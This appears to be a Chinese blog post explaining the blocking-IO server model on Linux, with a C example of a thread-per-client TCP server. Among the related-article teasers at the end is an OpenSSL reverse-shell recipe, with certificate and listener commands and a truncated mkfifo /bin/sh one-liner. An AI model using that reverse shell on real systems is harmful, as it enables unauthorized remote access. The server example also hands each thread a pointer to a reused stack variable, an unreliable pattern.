Linux网络编程系列之服务器编程——阻塞IO模型

Linux网络编程系列  (够吃,管饱)

        1、Linux网络编程系列之网络编程基础

        2、Linux网络编程系列之TCP协议编程

        3、Linux网络编程系列之UDP协议编程

        4、Linux网络编程系列之UDP广播

        5、Linux网络编程系列之UDP组播

        6、Linux网络编程系列之服务器编程——阻塞IO模型

        7、Linux网络编程系列之服务器编程——非阻塞IO模型

        8、Linux网络编程系列之服务器编程——多路复用模型

        9、Linux网络编程系列之服务器编程——信号驱动模型

一、什么是阻塞IO模型

        服务器阻塞IO模型是一种IO模型,其中服务器在处理INGRESS和EGRESS网络数据流时阻塞,并且无法处理其他连接请求。当服务器接收到一个连接请求时,它将读取数据直到读取完成,然后进行处理并发送响应,这期间,该连接请求将会阻塞其他连接请求的处理。

二、特性

        1、阻塞IO调用,当服务器没有数据可读或者没有缓冲区可写入时,服务器将被阻塞。

        2、每个连接都需要创建一个新的线程或进程来处理,因此服务器开销和资源占用会很大。

        3、每个连接需要消耗一定的内存资源来存储相关信息,如连接状态和IO缓冲区等。

        4、无法处理大量并发连接请求,可能会导致连接的延迟和响应时间过长。

        5、对于大数据传输,阻塞IO可能会一次性读取所有数据并占用大量内存,从而导致服务器崩溃或性能下降。

        6、由于阻塞IO模型无法实时处理并发连接请求,因此无法适应高并发、高吞吐量的应用场景。

三、使用场景

        1、小规模的网络应用,如小型HTTP服务器、FTP服务器等。

        2、对并发连接数量要求不高的网络应用,如内部OA系统、ERP系统等。

        3、数据传输量较小的网络应用,如即时聊天应用、邮件系统等。

        4、对实时响应要求不高的网络应用,如批处理任务、数据备份等。

        5、对于资源受限的系统,如嵌入式系统、移动设备等,阻塞IO模型也可以用于网络应用。

四、模型框架(通信流程)

        1、建立套接字。使用socket()

        2、设置端口复用。使用setsockopt()

        3、绑定自己的IP地址和端口号。使用bind()

        4、设置监听。使用listen()

        5、循环阻塞等待,接收新的客户端连接。使用accept()

        6、为连接上来的客户端创建一条线程。使用pthread_create()

        7、关闭套接字。使用close()

五、相关函数API接口

        这里TCP服务通信的API在本系列其他博客中已经有大量讲解,这里省略,忘记了朋友可以点击本文开头上面对应的链接查看。

六、案例

        使用阻塞IO模型结合TCP协议,完成服务器通信演示,使用nc命令模拟客户端。

// 阻塞IO模型TCP服务器的案例#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>       
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <pthread.h>#define MAX_LISTEN  50  // 最大能处理的连接数
#define SERVER_IP   "192.168.64.128"    // 记得改为自己IP
#define SERVER_PORT 20000   // 不能超过65535,也不要低于1000,防止端口误用struct ClientInfo
{int fd;uint16_t port;char ip[20];
};// 线程的例程函数
void *recv_routinue(void *arg)
{int ret = 0;char recv_msg[128] = {0};struct ClientInfo client = *((struct ClientInfo*)arg);pthread_detach(pthread_self()); // 设置强制分离while(1){memset(recv_msg, 0, sizeof(recv_msg));ret = recv(client.fd, recv_msg, sizeof(recv_msg), 0);if(ret == 0){printf("[%s:%d] disconnect\n", client.ip, client.port);pthread_exit(0);}else if(ret > 0){printf("[%s:%d] send data: %s\n", client.ip, client.port, recv_msg);}}
}int main(int argc, char *argv[])
{// 1、建立套接字,指定IPV4网络地址,TCP协议int sockfd = socket(AF_INET, SOCK_STREAM, 0);if(sockfd == -1){perror("socket fail");return -1;}// 2、设置端口复用(推荐)int optval = 1; // 这里设置为端口复用,所以随便写一个值int ret = setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));if(ret == -1){perror("setsockopt fail");close(sockfd);return -1;}// 3、绑定自己的IP地址和端口号(不可以省略)struct sockaddr_in server_addr = {0};socklen_t addr_len = sizeof(struct sockaddr);server_addr.sin_family = AF_INET;   // 指定协议为IPV4地址协议server_addr.sin_port = htons(SERVER_PORT);  // 端口号server_addr.sin_addr.s_addr = inet_addr(SERVER_IP); // IP地址ret = bind(sockfd, (struct sockaddr*)&server_addr, addr_len);if(ret == -1){perror("bind fail");close(sockfd);return -1;}// 4、设置监听ret = listen(sockfd, MAX_LISTEN);if(ret == -1){perror("listen fail");close(sockfd);return -1;}uint16_t port = 0;char ip[20] = {0};struct sockaddr_in client_addr = {0};printf("wait client connect...\n");while(1){// 5、接受连接请求int new_client_fd = accept(sockfd, (struct sockaddr*)&client_addr, &addr_len);if(new_client_fd == -1){perror("accept fail");close(sockfd);return -1;}else{memset(ip, 0, sizeof(ip));strcpy(ip, inet_ntoa(client_addr.sin_addr));port = ntohs(client_addr.sin_port);printf("[%s:%d] connect\n", ip, port);struct ClientInfo client = {0};client.fd = new_client_fd;client.port = port;strcpy(client.ip, ip);// 创建线程,一个客户端对应一个线程pthread_t tid;pthread_create(&tid, NULL, recv_routinue, (void*)&client);}}// 7、关闭套接字close(sockfd);return 0;
}

七、总结

        阻塞IO模型适用于系统资源有限,小规模通信的场景,无法适应高并发、高吞吐量的应用场景。通常做法是一个客户端对应一个线程,这样极度消耗系统资源,因此也无法处理大规模的客户端连接请求。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/106361.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【MySQL入门到精通-黑马程序员】MySQL基础篇-约束

文章目录 前言一、概述二、案例三、外键约束总结 前言 本专栏文章为观看黑马程序员《MySQL入门到精通》所做笔记&#xff0c;课程地址在这。如有侵权&#xff0c;立即删除。 一、概述 概念&#xff1a;约束是作用于表中字段上的规则&#xff0c;用于限制存储在表中的数据。目的…

Kafka 开启SASL/SCRAM认证 及 ACL授权(一)认证

Kafka 开启SASL/SCRAM认证 及 ACL授权(一)认证。 kafka安全涉及3部份:传输加密,用户认证与授权,ZK开启ACL(Zookeeper存储了kafka的元数据以及用户信息,默认不开启acl所有用户可改,内网环境机器不对外开放可考虑使用默认不开启ZK ACL)。 官网地址:https://kafka.ap…

文心一言:文心大模型 4.0 即将发布

本心、输入输出、结果 文章目录 文心一言:文心大模型 4.0 即将发布前言文心 4.0 的成本问题架构文心 4.0 是否可以对标 GPT-4文心4.0 会不会收费弘扬爱国精神文心一言:文心大模型 4.0 即将发布 编辑:简简单单 Online zuozuo 地址:https://blog.csdn.net/qq_15071263 前言 …

【算法练习Day21】组合剪枝

​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;练题 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 文章目录 组合剪枝总结&#xff1a; …

机器学习-无监督学习之聚类

文章目录 K均值聚类密度聚类&#xff08;DBSCAN&#xff09;层次聚类AGNES 算法DIANA算法 高斯混合模型聚类聚类效果的衡量指标小结 K均值聚类 步骤&#xff1a; Step1&#xff1a;随机选取样本作为初始均值向量。 Step2&#xff1a;计算样本点到各均值向量的距离&#xff0c;…

npm命令介绍

npm 描述&#xff1a;Node Package Manager (NPM) 是 Node.js 的包管理器&#xff0c;用于安装、管理和发布 JavaScript 包。示例&#xff1a;npm -v npm access 描述&#xff1a;控制包的访问权限。需要管理员或拥有特定权限的用户才能执行。示例&#xff1a;npm access pu…

【评分卡实现】应用Python中的toad.ScoreCard函数实现评分卡

逻辑回归已经在各大银行和公司都实际运用于业务。之前的文章已经阐述了逻辑回归三部曲——逻辑回归和sigmod函数的由来、

html设置前端加载动画

主体思路参考&#xff1a; 前端实现页面加载动画_边城仔的博客-CSDN博客 JS图片显示与隐藏案例_js控制图片显示隐藏-CSDN博客 1、编写load.css /* 显示加载场景 */ .loadBackGround{position: absolute;top: 0px;text-align: center;width: 100%;height: 100vh;background-c…

Qt QSS基本属性样式表半通关

文章目录 简介语法基本语法选择器通用选择器类选择器ID 选择器后代选择器子元素选择器属性选择器并集选择器两个特殊的选择器子控件选择器伪类选择器Qss 的特性层叠性继承性(Qt-Version >= 5.7)简介 为了书写方便, 文中一律使用 Qss 代替 Qt style sheet. 首先来看 Qt 的官…

C# Thread.Sleep(0)有什么用?

一、理论分析 回答这个要先从线程时间精度&#xff08;时间片&#xff09;开始说起。很多参考书说&#xff0c;默认情况下&#xff0c;时间片为15ms 左右&#xff0c;但是这是已经过时的知识。在老的 Windows 操作系统里&#xff0c;应用程序模式时时间片 15ms 左右&#xff0…

Kafka SASL认证授权(五)ACL源码解析

Kafka SASL认证授权(五)ACL源码解析。 官网地址:https://kafka.apache.org/ 一、ACL检查流程解析 一起看一下kafka server的启动与监听流程: Kafka -> KafkaServer -> SocketServer、KafkaRequestHandler 其中KafkaServer做相关的初始化,包括SocketServer 与 han…

CSS复习笔记

CSS 文章目录 CSS1.概念2.CSS 引入方式3.选择器基础选择器:标签选择器类选择器id 选择器通配符选择器 复合选择器:**后代选择器****子代选择器****并集选择器****交集选择器-了解****伪类选择器** 结构伪类选择器&#xff1a;**:nth-child&#xff08;公式&#xff09;**伪元素…

解决 android Cannot access ‘<init>‘: it is private in

最近要在2个非直接依赖module使用单例&#xff0c;有一种注入依赖的方式可以&#xff0c;但是报了如下错误&#xff1a; Cannot access <init>: it is private in 经过查阅资料&#xff0c;原来是依赖的单例类的构造函数不能使用private&#xff0c;这里做个记录&#…

kafka简述

前言 ​ 在大数据高并发场景下&#xff0c;当系统中出现“生产“和“消费“的速度或稳定性等因素不一致的时候&#xff0c;就需要消息队列&#xff0c;作为抽象层&#xff0c;弥合双方的差异。一般选型是Kafka、RocketMQ&#xff0c;这源于这些中间件的高吞吐、可扩展以及可靠…

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…

Leetcode 2902. Count of Sub-Multisets With Bounded Sum

Leetcode 2902. Count of Sub-Multisets With Bounded Sum 1. 解题思路2. 代码实现3. 算法优化 题目链接&#xff1a;2902. Count of Sub-Multisets With Bounded Sum 1. 解题思路 这一题有点惭愧&#xff0c;因为没有搞定&#xff0c;遇上了超时问题…… 我的思路其实还是…

《华为战略管理法:DSTE实战体系》作者谢宁老师受邀为某电力上市集团提供两天的《成功的产品管理及产品经理》内训。

​​ 近日&#xff0c;《华为战略管理法&#xff1a;DSTE实战体系》作者谢宁老师受邀为某电力上市集团提供两天的《成功的产品管理及产品经理》内训。 谢宁老师作为华为培训管理部特聘资深讲师和顾问&#xff0c;也是畅销书《华为战略管理法&#xff1a;DSTE实战体系》、《智慧…

Vue 项目中 style 样式中为什么要添加 scoped

1、作用 在 Vue 中使用 scoped 属性可以让样式作用域仅限于当前组件中&#xff0c;不影响全局&#xff0c;避免了样式污染和样式冲突的问题。 在组件中使用 scoped 的方式如下&#xff1a; <template><div class"example">Example Component</div…

在Linux中掌握不同的命令,让创建文件变得易如反掌

在Linux中创建一个新文件很简单,但也有一些令人惊讶和灵巧的技术。​在本教程中,学习如何从Linux终端创建文件。​ 先决条件 访问命令行/终端窗口(Ctrl-Alt-F2或Ctrl-Alt-T) 具有sudo权限的用户帐户(对于某些文件/目录是可选的) 从命令行创建新的Linux文件 Linux的设计…

React知识点系列(3)-每天10个小知识

目录 1. 请描述一下在 React 项目中如何使用 Webpack 进行模块打包和优化。2. 你如何理解 React 的函数组件和类组件之间的区别&#xff1f;在什么情况下会选择使用函数组件&#xff1f;3. 在 React 中&#xff0c;如何使用高阶函数来增强组件的功能&#xff1f;4. 请描述一下在…